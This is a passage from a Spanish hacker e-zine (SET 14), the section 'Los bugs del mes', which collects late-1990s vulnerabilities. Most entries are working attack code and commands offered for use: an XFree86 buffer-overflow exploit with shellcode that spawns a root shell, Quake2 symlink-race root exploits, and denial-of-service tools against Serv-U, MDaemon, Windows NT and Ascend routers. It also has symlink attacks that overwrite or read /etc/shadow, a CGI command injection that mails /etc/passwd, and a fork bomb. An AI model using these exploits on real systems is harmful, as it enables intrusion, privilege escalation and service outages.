SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Los bugs del mes

      4701

Autor: SET Staff
-[ 0x09 ]--------------------------------------------------------------------
-[ LOS BUGS DEL MES ]--------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-14-

Para     : SunOS 4.1.4 tmpfs
Tema     : Kernel panic
Patch    : 100507-06
Creditos : Yamamori Takenori

** Requiere que /tmp este montado como /tmpfs

1.- $ cd /tmp
2.- $ mknod aaa p
3.- $ ln aaa bbb    # Debe ser un enlace fuerte
4.- $ ls -l

Descripcion y Notas:

No me pregunteis como, pero este bug de SunOS, conocido como Fifo Hard Link
Bug, vuelve loco al sistema, con algo tan simple como generar un enlace
y realizar un listado del directorio. Ah! Para los que os hayais perdido con
el patch, es la referencia que debereis buscar en Sun. Tambien podeis
hacer un modload de 8lgm_tmpfs.c


Para     : SunOS 4.1.4
Tema     : Kernel panic
Patch    : 103314-01
Creditos : Yamamori Takenori

1.- $ cd /tmp
2.- $ mkdir a
3.- $ cd a
4.- $ vi b (Escribir algo, manteniendo el fichero abierto)
5.- Cambia de terminal
6.- $ rm -r /tmp/a
7.- Cambia de terminal
8.- Guarda el fichero usando :w en vi.

Descripcion y Notas:

Otro mas de nuestro amigo Yamamori. Y ademas, produce el mismo efecto que
el anterior bug, vuelve loco al sistema. Y otra vez mas, un patch que nos
proporciona Sun mediante un bonito numero de referencia.


Para     : SunOS 4.1.4
Tema     : Mas panico
Patch    : Aqui mismo. Sun todavia no los sabe ;)
Creditos : Yamamori Takenori

** Idem que los anteriores. /tmp montado como /tmpfs

$ cd /tmp
$ mkdir aaa
$ chmod -w aaa
$ cd aaa
$ ln -s bbb ccc    # En esta ocasion, sera un enlace simbolico.

Descripcion y Notas:

Que decir esta vez. A volver majara al sistema de nuevo, con la salvedad de
que Sun no tiene el patch correspondiente en el momento de escribir estas
lineas. Claro, que para algo estamos, y Yamamori se nos ha currado un patch
que aparentemente elimina el symlink bug, como se conoce a este ultimo
bug. Aqui os dejo el patch.

<++> set_014/exploits/tmpfs-symlink-fix.c
/* tmpfs-symlink-fix.c */

/*
 * tmpfs symlink bug:
 *
 *   (/tmp is mounted as tmpfs)
 *  $ cd /tmp
 *  $ mkdir aaa
 *  $ chmod -w aaa
 *  $ cd aaa
 *  $ ln -s bbb ccc    # should be symbolic-link (not hard-link)
 * panic: kmem_free: block already free
 *
 */

#define KERNEL
                     /* change here */
#define sun4c
#define __sun4c__   /* for the use of gcc's fix-include */
/* #define sun4m */
/* #define __sun4m__ */

#include <sys/types.h>
#include <sys/conf.h>
#include <sys/buf.h>
#include <sys/param.h>
#include <sys/errno.h>
#include <sys/user.h>
#include <sys/time.h>
#include <sys/vfs.h>
#include <sys/vnode.h>
#include <sys/ucred.h>
#include <sys/syslog.h>
#include <sundev/mbvar.h>
#include <sun/autoconf.h>
#include <sun/vddrv.h>

extern  struct vnodeops tmp_vnodeops;

static struct vdldrv vd = {
  VDMAGIC_PSEUDO,      /* Drv_magic */
  "tmpfs-symlink-fix"  /* Drv_name  */
  /* unused members */
};

static int (*real_tmp_symlink)();

int
wrap_tmp_symlink(
  struct vnode *vn,
  char *l_name,
  int *va,
  char *t_name,
  struct ucred *cred
) {

  struct vnode *vn1;
  int err;

#ifdef DEBUG
  printf("tmp_symlink: l_name=%s t_name=%s va=%x\n", l_name, t_name, *va);
#endif

  if ((err = VOP_MKDIR(vn, l_name, va, &vn1, cred)) != 0) {
    return err;
  }
  VOP_RMDIR(vn, l_name, cred);
  return real_tmp_symlink(vn, l_name, va, t_name, cred);
}

int
xxxinit(
  unsigned int function_code,
  struct vddrv *vdp,
  addr_t vdi,
  struct vdstat *vds
) {

  int x;

  switch(function_code) {
    case VDLOAD:
      vdp->vdd_vdtab = (struct vdlinkage*)&vd;

      x = splhigh();
      real_tmp_symlink = tmp_vnodeops.vn_symlink;
      tmp_vnodeops.vn_symlink = wrap_tmp_symlink;
      splx(x);

      log(LOG_INFO, "tmpfs symlink-fix module loaded\n");
      return 0;

    case VDUNLOAD:
      x = splhigh();
      tmp_vnodeops.vn_symlink = real_tmp_symlink;
      splx(x);

      log(LOG_INFO, "tmpfs symlink-fix module unloaded\n");
      return 0;

    case VDSTAT:
      return 0;

    default:
      return EIO;
  }
}
<-->


Para     : RedHat
Tema     : Acceso a disco
Patch    : Uhmmm! Quizas en SET 14
Creditos : Michal Zalewski

1.- [user@host sth]$ cat /dev/fd0H1440

Descripcion y Notas:

Con un simple cat, podemos acceder al contenido de un diskette, aun cuando
este no se encuentre montado. Esto no es que sea peligroso en si, ni de
mucho potencial. Pero podemos usar el siguiente script que chequea cuando
el diskette no esta montado, y en ese caso, realiza un volcado del mismo.

<++> set_014/exploits/fdumper
#!/bin/sh
DUMP_DEV=/dev/fd0H1440
MOUNT_DEV=/dev/fd0
LABEL=0
DUMPED=1
while :; do
  sleep 1
  if [ "`mount|grep \"^${MOUNT_DEV}\"`" = "" ]; then
    if [ "$DUMPED" = "0" ]; then
      echo "Dumping image #$LABEL..."
      cat $DUMP_DEV >.fdimage$LABEL
      let LABEL=LABEL+1
      DUMPED=1
    fi
  else
    DUMPED=0
  fi
done
<-->

Por otra parte, si que podemos causar problemas, en algunos casos graves,
aprovechandonos de este bug. Si la unidad no se encuentra montada, puede
llegar a producirse un exceso de flujo, o floodeo, del kernel. El comando
es tan simple como:

[user@host sth]$ while :; do cat /dev/fd0H1440;done &

Esto provocara un envio masivo de logs al fichero /var/log/messages y al
terminal.


Para     : KDE
Tema     : Sobreescritura de archivos
Patch    : Aqui mismito
Creditos : Tudor Bosman

Descripcion y Notas:

Pues resulta que si estamos usando password shadowed, los salvapantallas del
KDE deben ejecutarse siendo setuid root. Claro, que esto no da los
privilegios, pero si alguna que otra diversion. Al iniciarse, se crea el
fichero .kss.pid en el directorio home como root. Nada tan facil como la
siguiente instruccion para sobreescribir el fichero /etc/shadow:

        ln -s /etc/shadow ~/.kss.pid

Y por ende, he aqui el patch correspondiente a este peque€o pero problematico
bug:

        diff -c kscreensaver.orig/main.cpp kscreensaver/main.cpp


Para     : War FTP
Tema     : Crash :)
Patch    : Y eso... que es?
Creditos : Anton Rager

Descripcion y Notas:

Pues ni mas ni menos que tres tipos diferentes de desbordamiento de pila o
stack overflow, para parecer mas cosmopolitas ;)
Se trata de unos fallos en el codigo del programa de FTP de Microsoft, que
dependiendo del sistema operativo, salta de una forma o de otra. Se
distinguen 3 casos:

        - Al introducir el dato USER. Si el nombre de usuario es mayor de
          285 caracteres, se produce una violacion de acceso. Aparentemente
          solo funciona en Windows NT 3.51/4.0, quizas porque Windows 95 no
          admite nombres de mas de 254 caracteres.
        - Ahora le toca al campo PASS. No existe una cifra exacta, pero si
          envias una gran cantidad de caracteres en este campo, como si se
          te hubiese pegado el dedo a la tecla, el servidor FTP se viene
          abajo. Parece funcionar exclusivamente en Windows 95, mostrandose
          como un desbordamiento de pila.
        - Desde el prompt de FTP. Si tecleas cualquier comando que no exista
          y tenga mas de 207 caracteres, se produce una violacion de acceso
          de nuevo. Y en esta ocasion afecta tanto a Windows NT 4.0 como a
          Windows 95, pero solo a los clientes.


Para     : Serv-U FTP
Tema     : Adios con el corazon...
Patch    : Puede que en http://www.cat-soft.com
Creditos : Pues mira, no lo se

<++> set_014/exploits/serv-who.c
/*

        serv-who.c - 1998 - whiz
        kills Serv-U ftp on win95 boxes

        This program makes SERV-U32 cause
        a stack fault in module KERNEL32.DLL
        Sometimes after Serv-U crashes, windows
        becomes slow and non responsive,
        just an added bonus.  Another thing
        is that if the ftp is running on NT
        it usually won't crash, just raise
        CPU usage to 100% while the attack is
        running.

        Tested on:
        i586/100 - 72 meg RAM - crashed 5 times - Serv-U FTP-Server v2.3a
        i586/300 - 32 meg RAM - crashed 2 times - Serv-U FTP-Server v2.3b
        ?/? - ? meg RAM - crashed 2 times - Serv-U FTP-Server v2.3
        i586/233 - 32 meg RAM - crashed 1 time - Serv-U FTP-Server v2.2

        >>> Thanks to gen for helping me test this. <<<

        Another thing that might effect this
        program is how fast the serv-who
        computer's internet connection is.
        Or in other words how much faster is
        it then the victim's link.  A Faster
        one will give a higher success rate.

        serv-who, like, who the hell are
        you going to serv now, your crashed

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

int x, s, i, p, dport;

char *str =
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
*
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);

    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("     Connected to [%s:%d].\n",server,port);
        return;
}

void main(int argc, char *argv[]) {
     int t;
     if (argc != 3) {
       printf("serv-who.c - whiz\n\n");
       printf("kills serv-u ftp daemons\n\n");
       printf("Usage: %s <victim> <port>\n",argv[0]);
       exit(0);
     }
     printf("serv-who.c - whiz\n\n");
     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }
     p = atoi(argv[2]);
     open_sock(s,argv[1],p);

     printf("     Sending crap to %s on port %i... \n", argv[1], p);
     for (i=0; i<1000; i++) {            /* loop is REAL high, most likely
*/
       send(s,str,strlen(str),0x0);      /* it will exit with a */
                         send(s,str,strlen(str)*20+1,0x0); /* "Broken Pipe"
error before */
       send(s,str,strlen(str)*25+2,0x0); /* finishing the loop */
       send(s,str,strlen(str)*30+3,0x0);
       send(s,str,strlen(str)*35+4,0x0);
       send(s,str,strlen(str)*40+5,0x0); /* i just went crazy on the sends */
       send(s,str,strlen(str)*45+4,0x0); /* pay no attention to them */
       send(s,str,strlen(str)*50+5,0x0);
       send(s,str,strlen(str)*255+4,0x0);
       send(s,str,strlen(str)*182+5,0x0);
       send(s,str,strlen(str)*888+4,0x0);
       send(s,str,strlen(str)*666+5,0x0);
       send(s,str,strlen(str)*20+1,0x0);
       send(s,str,strlen(str)*25+2,0x0);
       send(s,str,strlen(str)*30+3,0x0);
       send(s,str,strlen(str)*35+4,0x0);
       send(s,str,strlen(str)*40+5,0x0);
       send(s,str,strlen(str)*45+4,0x0);
       send(s,str,strlen(str)*50+5,0x0);
       send(s,str,strlen(str)*255+4,0x0);
       send(s,str,strlen(str)*182+5,0x0);
       send(s,str,strlen(str)*888+4,0x0);
       send(s,str,strlen(str)*666+5,0x0);
     }
     printf("all done\n");
     close(s);
}
<++>

Descripcion y Notas:

Bueno, pues en esta ocasion se trata de otro fallo de desbordamiento mas
para un servidor de FTP de Windows. En Windows 95 se produce la parada del
sistema, alegando un desbordamiento de pila en el modulo KERNEL32.DLL,
mientras que en Windows NT solo se encarga de poner la CPU al 100%
El metodo es el mismo de siempre. Basta con rellenar de basura los campos
USER y PASS al conectarse. Aunque parece que el programa no funciona
siempre. Cachis.


Para     : OpenBSD
Tema     : De todo un poco
Patch    : Al parecer... no de momento.
Creditos : Jason Downs

<++> set_014/exploits/openbsd.sh
#!/bin/csh
set path = ( /usr/bin /usr/sbin /bin /sbin )

unlimit
cd /tmp
if ( -e fifo ) then
    rm fifo
endif
mkfifo fifo
while ( 1 )
    cat fifo >& /dev/null &
end
<-->

Descripcion y Notas:

Aqui tenemos un shell script que puede llegar a volver loco a vuestro sistema
BSD. En la mayoria de los sistemas, existe un limite de procesos para evitar
que el kernel salga de las entradas no paginadas. Este script se encarga de,
en el caso de que los limites del descriptor de proceso por usuario sean
suficientemente altos, hacer que el sistema se vuelva majareta, dando
errores sin sentido y colgando terminales, siendo necesario resetear el
sistema en el mejor de los casos. Asi que mucho ojito.


Para     : XFree 86
Tema     : Acceso en modo root
Patch    : Quizas en su site
Creditos : Pues esto estaba por ahi, asi que...

<++> set_014/exploits/xfree86_exploit.c
        /*  XFree86 Server exploit for Intel x86  */
        /*  Have phun!!                           */

/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may get a root prompt now. If you don't, try different values for OFFSET.\n\n");
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}
<-->

Descripcion y Notas:

Por medio de este exploit, se puede sobreescribir un buffer en el servidor X
desde las XFree86, llegando a conseguir shell en modo root.


Para     : Quake2 3.13
Tema     : Otro shell de root
Patch    : Pos creo que aqui, en SET 14
Creditos : kevingeo@CRUZIO.COM

<++> set_014/exploits/quake_settings.c
#include <unistd.h>

void main(int argc, char **argv) {
while(1) {
        unlink("ref_root.so");
        symlink(argv[1],"ref_root.so");
        unlink("ref_root.so");
        symlink("ref_root.real.so","ref_root.so");
}
}
<-->

<++> set_014/exploits/quake_exploit.c
#include <stdlib.h>

void main() {
while (1) {
system("/usr/games/quake/quake2 +set vid_ref root");
}
}
<-->

Decripcion y Notas:

Pues algo tan simple como obtener shell de root de un modo sencillo. Funciona
en todos aquellos sistemas en los que el juego halla sido instalado segun
las instrucciones, dando setuid root al Quake2. Su funcionamiento es mas
bien simple. Al ejecutarse el Quake2, se chequean todos los permisos de cada
libreria antes de cargarla, lo que se realiza como si de un root se tratara.

El proceso es muy simple. Para llevarlo a cabo es necesario encontrar un
fichero que sea del root y cuyos permisos sean 0700. Sea este fichero
ref_soft.so. Entonces renombramos ref_root.so como ref_root.real.so, y
seguidamente ejecutamos el programa quake_settings.c, de la siguiente forma:

        $ ./quake_settings /usr/games/quake2/ref_soft.so &

Una vez hecho esto, ejecutamos el programa quake_exploit.c, consiguiendo asi
shell de root en unos pocos minutos.

El patch es muy simple, bastando con usar chmod u-s quake2.


Para     : x11amp 0.65
Tema     : Posibilidades de root
Patch    : Pues seguramente en el sitio oficial del x11amp
Creditos : viinikala

1.- mkdir ~/.x11amp
2.- ln -s /etc/shadow ~/.x11amp/ekl

Descripcion y Notas:

Pues resulta que cuando se instala el x11amp con setuid root, las listas de
mp3 que crea en ~/.x11amp pasan a ser propiedad del root, en vez de serlo del
usuario que las genera.

El fallo es que el x11amp sigue ademas los enlaces simbolicos. Asi que solo
nos queda realizar un enlace simbolico al fichero /etc/shadow como si de una
playlist se tratase. De esta forma, cuando le demos a editar la playlist,
veremos el fichero /etc/shadow. Alguna pregunta?


Para     : Windows NT 4.0
Tema     : Crash, Baboom, Badaboom!!
Patch    : Uhmmm! Microsoft tal vez??? Nooo!!
Creditos : Bob Beck

<++> set_014/exploits/inetinfo.pl
#!/usr/local/bin/perl

use Socket;
use FileHandle;
require "chat2.pl";

$ILoveBill = $ARGV[0] && shift;

$verbose = 0; # tell me what you're hitting
$knownports = 0;  # don't hit known problem ports
for ($port = $0; $port <65535; $port++)
{

    if ($knownports && ($port == 135 || $port== 1031)) {
        next;
    }
    $fh = chat::open_port($ILoveBill, $port);
    chat::print ($fh,"Windows NT is the platform of the future");
    if ($verbose) {
        print "Trying port: $port\n\n";
    }
    chat::close($fh);
}
<-->

<++> set_014/exploits/inetinfo.c
/* This program  is not intended  to be used  to bring down NT  */
/* servers or WIN95  clients but rather as  a tool for finding  */
/* weaknesses in your installations */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>

#define MAXPORTNUM 65535

int main (int argc, char **argv){
int n, s, len;
u_short soc = 0;
char buf[1024];
char *hostname;
struct hostent *hp;
struct sockaddr_in name;

  if(argc < 2){
     printf("Usage: %s hostname [hostname]\n", *argv);
     exit(1);
  }
  hostname = *++argv;
  hp = gethostbyname(hostname);
  soc = 1;

  while (soc <= MAXPORTNUM){
     /* create a socket */
     s = socket(AF_INET, SOCK_STREAM, 0);

     memset(&name, 0, sizeof(struct sockaddr_in));
     name.sin_family = AF_INET;
     name.sin_port = htons(soc);
     memcpy(&name.sin_addr, hp->h_addr_list[0], hp->h_length);
     len = sizeof(struct sockaddr_in);

     printf("Trying port %i\n", soc);
     if (!connect(s, (struct sockaddr *)&name, len)){
         printf("connected to port %i\n", soc);
         strcpy(buf, "jfiebnfvmrur84j dfj494 40wetnt");
         len = strlen(buf);
         n = send(s, buf, len, 0);
     }
     close(s);
     ++soc;
  }
  exit(0);
}
<-->

Descripcion y Notas:

Y otra vez mas. Parece que Microsoft no aprende. Recordais el famoso ataque
al puerto 135? Ese por el que se empezaron a popularizar los Nukes? Pues
ahora resulta que tambien pasa con otro puerto, el 1031, que es el puerto
de inetinfo.

Y es que parece que los se€ores de Microsoft no se han dado cuenta de que no
se trata un fallo de un puerto, sino de dise€o del sistema operativo, por
llamarlo de alguna forma. Los propios autores de este exploit recomiendan
a los usuarios de Windows que cierren los puertos. Nosotros recomendamos otra
solucion: LINUX ;)


Para     : info2www
Tema     : Ejecucion arbitraria de comandos
Patch    : La version 1.2 o currarselo uno mismo
Creditos : Niall Smart

1.- REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami
    </etc/passwd|)'

Descripcion y Notas:

A las vueltas con los bugs de los CGIs. Y es que parece que los WebMasters
no aprenden. Y hala! CGI que pillan por ahi que parece majo, van y lo
instalan. Y luego pasa lo que pasa.

Pues resulta que info2www es un CGI perteneciente a los de la famila de
info2html y demas, que ya han demostrado sus vulnerabilidades. Que que hacen?
Simple. Permitir la ejecucion de comandos en el servidor.

Pero ojo. No todas las versiones del info2www presentan este fallo. Es mas,
a partir de la version 1.2 parece que esta corregido. Aunque... Nunca se
sabe, verdad? ;>


Para     : MDaemon Windows 95/NT SNMP Server
Tema     : Buffer overflow
Patch    : Quien sera, sera...
Creditos : Alvaro y Rootshell

<++> set_014/exploits/mdaemon.c
/*
 * MDaemon SMTP server for Windows buffer overflow exploit
 *
 * http://www.mdaemon.com - if you dare...
 *
 * Tested on MDaemon 2.71 SP1
 *
 * Released 3/10/98
 *
 * (C) 1998 Rootshell All Rights Reserved
 *
 * For educational use only.  Distribute freely.
 *
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail
 *       connector if SP2 has NOT been installed.
 *
 * Danger!
 *
 * A malicous user could use this bug to execute arbitrary code on the
 * remote system.
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
void main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *hp;
  char *buffer;
  int sock, i;
  
  if (argc != 2) {
    printf("usage: %s <smtp server>\n", argv[0]);
    exit(1);
  }
  hp = gethostbyname(argv[1]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
  } 
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(25);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  buffer = (char *)malloc(10000);
  sprintf(buffer, "HELO ");
  for (i = 0; i<4096; i++)
    strcat(buffer, "x");
  strcat(buffer, "\r\n");
  write(sock, &buffer[0], strlen(buffer));
  close(sock);
  free(buffer);
}
<-->

Descripcion y Notas:

Pues nada, que los servidores sobre los afamados sistemas de Microsoft siguen
padeciendo los mismos fallos. Y sobre todo, los de correo... En esta ocasion
le ha tocado a MDaemon, localizable en http://www.mdaemon.com

Resulta que si en el campo USER introduces una cadena muy, muy, muy larga,
el servidor te cierra la conexion, para posteriormente, matar los servicios
de SNMP y POP.


Para: MSIE 4.x, Navigator 3.x y Communicator 4.x
Tema: Cuelgue
Patch: Oi decir que Netscape lo habia solucionado, amigos.
Creditos: T. Weidauer

<HTML>
<HEAD>
<TITLE>BROWSERS BUG</TITLE>
</HEAD>

<FRAMESET ROWS = 50%,50%>
        <FRAME SRC = "test.htm">
        <FRAME SRC = "test.htm">
</FRAMESET>

<BODY>

</BODY>
</HTML>

Descripcion y Notas:

Si damos a nuestro fichero el nombre test.htm y lo cargamos, generaremos
en el navegador un loop infinito (ira sucesivamente cargando ficheros llamados
test.htm cada uno de los cuales le indica que abra otras dos copias) nuestro
procesador y memoria se iran viendo lenta y tristemente devorados por esta
pagina malevola. Uno mas de los multiples ataques DoS que estan viendo la luz
ultimamente contra navegadores. 



Para     : Solaris 2.6 SLMail
Tema     : Requete CRASH
Patch    : Puede que en http://www.seattlelabs.com/slmail
Creditos : Steven

1.- $ telnet www.victima.com 25
   -Trying 10.0.0.4
   -Conected to www.victima.com
   -Escape character is ^]
   -220 www.victim.com Smtp Server SLMail v2.6 Ready ESMTP spoken here
2.- vrfy
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
    dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
   -Connection closed by foreign host.

Descripcion y Notas:

Joers. Parece que se ha puesto de moda el buffer overflow como DoS. P'al
que lo sepa, un DoS es un Denial of Service.

Pues eso, que otro fallo mas de buffer overflow, en esta ocasion para el
demonio de correo SLMail para Solaris 2.6


Para     : Winsock 2.0 para Windows 95
Tema     : Winsock Crash
Patch    : No se yo si Microsoft...
Creditos : John Robinson

Descripcion y Notas:

Resulta que con el Winsock 2.0, aquellas direcciones que contengan 13
caracteres, sin contar los puntos, hacen que el Winsock se caiga.

Curioso, no?


Para     : Routers ASCEND (Os suenan? Rememorad SET 11)
Tema     : Reseteo del router
Patch    : Pues puede que en http://www.ascend.com. Tambien aqui mismo ;)
Creditos : Secure Networks y Rootshell

<++> set_014/exploits/akill2.c
/*
 * Ascend Kill II - C version
 *
 * (C) 1998 Rootshell - http://www.rootshell.com/
 *
 * Released: 3/16/98
 *
 * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
 * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
 *
 * Sends a specially constructed UDP packet on the discard port (9)
 * which cause Ascend routers to reboot.  (Warning! Ascend routers will
 * process these if they are broadcast packets.)
 *
 * Compiled under RedHat 5.0 with glibc.
 *
 * NOTE: This program is NOT to be used for malicous purposes.  This is
 *       intenteded for educational purposes only.  By using this program
 *       you agree to use this for lawfull purposes ONLY.
 *
 * It is worth mentioning that Ascend has known about this bug for quite
 * some time.
 *
 * Fix:
 *
 * Filter inbound UDP on port 9.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <linux/udp.h>
#include <netdb.h>

#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }

/* This magic packet was taken from the Java Configurator */
char ascend_data[] =
  {
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53};


unsigned short 
in_cksum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int 
sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
     struct sockaddr_in *sin;
     unsigned short int s, datalen, sport, dport;
     unsigned long int saddr, daddr;
     char *data;
{
  struct iphdr ip;
  struct udphdr udp;
  static char packet[8192];
  char crashme[500];
  int i;

  ip.ihl = 5;
  ip.version = 4;
  ip.tos = rand () % 100;;
  ip.tot_len = htons (28 + datalen);
  ip.id = htons (31337 + (rand () % 100));
  ip.frag_off = 0;
  ip.ttl = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check = 0;
  ip.saddr = saddr;
  ip.daddr = daddr;
  ip.check = in_cksum ((char *) &ip, sizeof (ip));
  udp.source = htons (sport);
  udp.dest = htons (dport);
  udp.len = htons (8 + datalen);
  udp.check = (short) 0;
  memcpy (packet, (char *) &ip, sizeof (ip));
  memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
  memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
  /* Append random garbage to the packet, without this the router
     will think this is a valid probe packet and reply. */
  for (i = 0; i < 500; i++)
    crashme[i] = rand () % 255;
  memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
  return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
		  (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
}

unsigned int 
lookup (host)
     char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr (host);
  if (addr == -1)
    {
      he = gethostbyname (host);
      if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
	return 0;

      bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }
  return (addr);
}

void
main (argc, argv)
     int argc;
     char **argv;
{
  unsigned int saddr, daddr;
  struct sockaddr_in sin;
  int s, i;

  if (argc != 3)
    errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if (!(saddr = lookup (argv[1])))
    err ("Unable to lookup source address.\n");
  if (!(daddr = lookup (argv[2])))
    err ("Unable to lookup destination address.\n");
  sin.sin_family = AF_INET;
  sin.sin_port = 9;
  sin.sin_addr.s_addr = daddr;
  if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
    {
      perror ("sendpkt_udp");
      err ("Error sending the UDP packet.\n");
    }
}
<-->

<++> set_014/exploits/akill2.pl
#!/usr/bin/perl

#
# Ascend Kill II - perl version
# (C) 1998 Rootshell - http://www.rootshell.com/ - <info@rootshell.com>
#
# Released: 3/17/98
#
